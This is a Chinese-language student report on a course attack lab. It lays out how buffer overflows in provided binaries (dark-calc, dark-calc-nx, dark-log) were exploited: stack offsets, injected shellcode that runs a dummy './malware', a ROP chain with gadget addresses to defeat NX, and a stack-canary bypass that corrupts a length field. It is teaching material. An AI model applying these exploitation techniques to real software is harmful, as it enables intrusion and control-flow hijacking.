Lab 3 Attack Lab 实验报告

2026-11-11

目录

实验环境 1
一、观察 input 的栈帧 1
二、不同长度的输入 2
三、利用缓冲区漏洞执行 malware 2
四、用 GDB 查看 main 的机器码 2
五、栈空间执行 3
六、ROP 3
七、Canary 4
运行命令 4

实验环境

实验在 Ubuntu x86-64 环境下完成。使用到的工具主要有 gdb、objdump、readelf、nm、checksec 和 Python 3。仓库中的 attack/ 文件没有修改，payload 只通过标准输出生成原始字节流。

本实验的 GitHub Actions 会按照下面的关系测试文件，实际提交前也按这个关系在 attack/ 目录中验证：

```
payload.py        -> dark-calc      -> malware 成功信息
payload_dark.py   -> dark-calc      -> Hope A
payload_rop.py    -> dark-calc-nx   -> Hope A
payload_canary.py -> dark-log       -> Hope A
```

一、观察 input 的栈帧

dark-calc 的 input 为 expression 分配 0x10 字节空间。输入缓冲区起始地址到保存返回地址的偏移为 24 字节。程序把栈固定映射在 0x721000000000，payload 使用的输入缓冲区地址为 0x721000800fd0。栈顶有保护页，输入过长时会在 gets 写入阶段触发异常。

dark-log 中，expression 位于 rbp-0x120，logMsg 位于 rbp-0xa0，len 位于 rbp-0x20，Canary 位于 rbp-0x8。最终 payload 没有直接覆盖 Canary。

在 GDB 中观察 dark-calc 的输入函数时，函数序言为：

```
push rbp
mov  rbp,rsp
sub  rsp,0x10
lea  rax,[rbp-0x10]
call gets
```

因此缓冲区从 rbp-0x10 开始，经过 16 字节局部空间和 8 字节保存的 rbp 后，下一项就是返回地址，偏移为 24。使用 24 个填充字节加 8 字节返回地址可以稳定控制 ret 的目标。

二、不同长度的输入

空输入会让 dark-calc 输出内置答案。长度不超过 15 的字符串会被放入算术命令中。更长的字符串虽然会被复制到 command_buf，但 eval 最多只取前 15 个字节。输入达到返回地址后可以改写控制流，实际测得偏移为 24。

测试时观察到的现象如下：

```
长度 0        输出内置答案 42_is_The_Ànswer
长度 1~15     进入 echo $((expression)) 的正常路径
长度大于 15   eval 中的有效表达式长度被限制为 15
长度达到 24   可以覆盖 input 的返回地址
```

command_buf 的空间也比较小，所以调试时不能盲目增加输入长度。长度过大时会越过固定栈的保护页，程序在 gets 读入阶段就会异常结束。这也是 payload 尽量压缩的原因。

三、利用缓冲区漏洞执行 malware

payload.py 把一段 x86-64 shellcode 放到固定的可执行栈上，并将 input 的返回地址改为栈地址。shellcode 调用 system 执行 ./malware。运行时的进程关系为 dark-calc、shell 和 malware，输出如下：

```
The bomb was triggered by the dark-calc process.
You have successfully detonated the bomb! Congratulations!
```

这里的路径使用 ./malware，因为自动测试会先进入 attack/ 目录。shellcode 中使用的主要地址是 0x4017e0（system@plt）和 0x721000800fd0（输入缓冲区）。返回地址覆盖后，shellcode 通过 RIP 相对寻址找到命令字符串，再调用 system。固定栈顶部的保护页使 payload 总长度控制在 48 字节以内。

四、用 GDB 查看 main 的机器码

dark-calc 的 main 关键指令如下：

```
401ac3: 55                   push rbp
401ac4: 48 89 e5             mov rbp,rsp
401acc: e8 a6 fe ff ff       call 401977 <input>
```

```
401ad6: e8 fc fe ff ff       call 4019d7 <eval>
401adb: eb ea                jmp 401ac7
```

main 先调用 input，再调用 eval，并在循环中重复执行。

对应的检查命令为：

```
gdb ./attack/dark-calc
(gdb) disassemble main
(gdb) x/20i main
```

从机器码可以看出，input 返回后并不是直接退出，而是回到 main 中继续调用 eval。因此覆盖 input 的返回地址后，可以让程序先执行注入代码或 ROP 链，从而避开正常的后续控制流。

五、栈空间执行

dark-calc 在固定地址映射了可执行栈区域，中间页面具有执行权限。payload_dark.py 将 4 放入 edi，调用 0x401a87 处的 grade_eval，然后通过系统调用退出。运行结果为：

```
Hope A will be your grade!
```

payload_dark.py 使用的 shellcode 先执行 mov edi,4，再把 grade_eval 的地址加载到 rax 并调用。grade_eval(4) 满足程序中的判断条件，所以打印 Hope A。调用完成后使用 exit 系统调用结束进程，避免继续执行被破坏的栈内容。

六、ROP

dark-calc-nx 开启了 NX，不能直接执行栈上的指令。程序中 0x401a33 是 pop rdi; ret gadget。payload 先覆盖 24 字节，再把 4 放入 rdi，最后调用 0x401978 处的 grade_eval。运行结果为：

```
Hope A will be your grade!
```

该 payload 不在栈上放置需要执行的指令，而是把返回地址改为 0x401a33。该地址从 __libc_csu_init 中间进入，对应 pop rdi; ret。栈上的链为：

```
24 字节填充
0x401a33       pop rdi; ret
0x00000004     rdi 的参数
0x401978       grade_eval
0x401a33       pop rdi; ret
0x00000000     退出时使用的参数
0x4016e0       exit@plt
```

这样既能调用 grade_eval(4)，又能在目标输出后正常退出。dark-calc-nx 的 NX 保护不会影响这条 ROP 链，因为链上的地址都位于程序代码段。

七、Canary

dark-log 的 Canary 在 input 返回前检查。payload 不覆盖 Canary，而是在偏移 256 处把 len 改成 168。之后的 memcpy(logMsg + len, expression, 128) 会把 expression 复制到 rbp+8，也就是保存的返回地址，同时保持 rbp-0x8 处的 Canary 不变。

ROP 链使用 0x4018a3 处的 pop rdi; ret，将 4 传给 0x401677 处的 grade_eval。运行结果为：

```
Hope A will be your grade!
```

该 payload 在目标函数执行后可能因最后的返回链不完整而异常结束，但 Canary 检查和目标函数调用均已成功。

Canary payload 的关键布局如下：

```
0~127       expression 内容，作为 memcpy 的源数据
128~255     填充到 len 字段之前
256~259     整数 168，即 len
```

logMsg 位于 rbp-0xa0，加上 168 后，memcpy 的目标地址为 rbp+8，正好是保存的返回地址。这样利用的是 memcpy 的目标地址计算错误，而不是直接越过 Canary。由于输入只到 len 字段附近，rbp-0x8 的 Canary 保持原值，函数的 Canary 检查可以通过。

这个任务执行 grade_eval 后会继续落到人为构造的返回链末端，程序可能出现异常退出；检查目标输出可以确认攻击已经成功。

运行命令

```
python3 payload.py | ./attack/dark-calc
python3 payload_dark.py | ./attack/dark-calc
python3 payload_rop.py | ./attack/dark-calc-nx
python3 payload_canary.py | ./attack/dark-log
```

四个 payload 都能生成非空字节流，attack/ 下的四个实验文件保持原样，PDF 报告位于仓库根目录。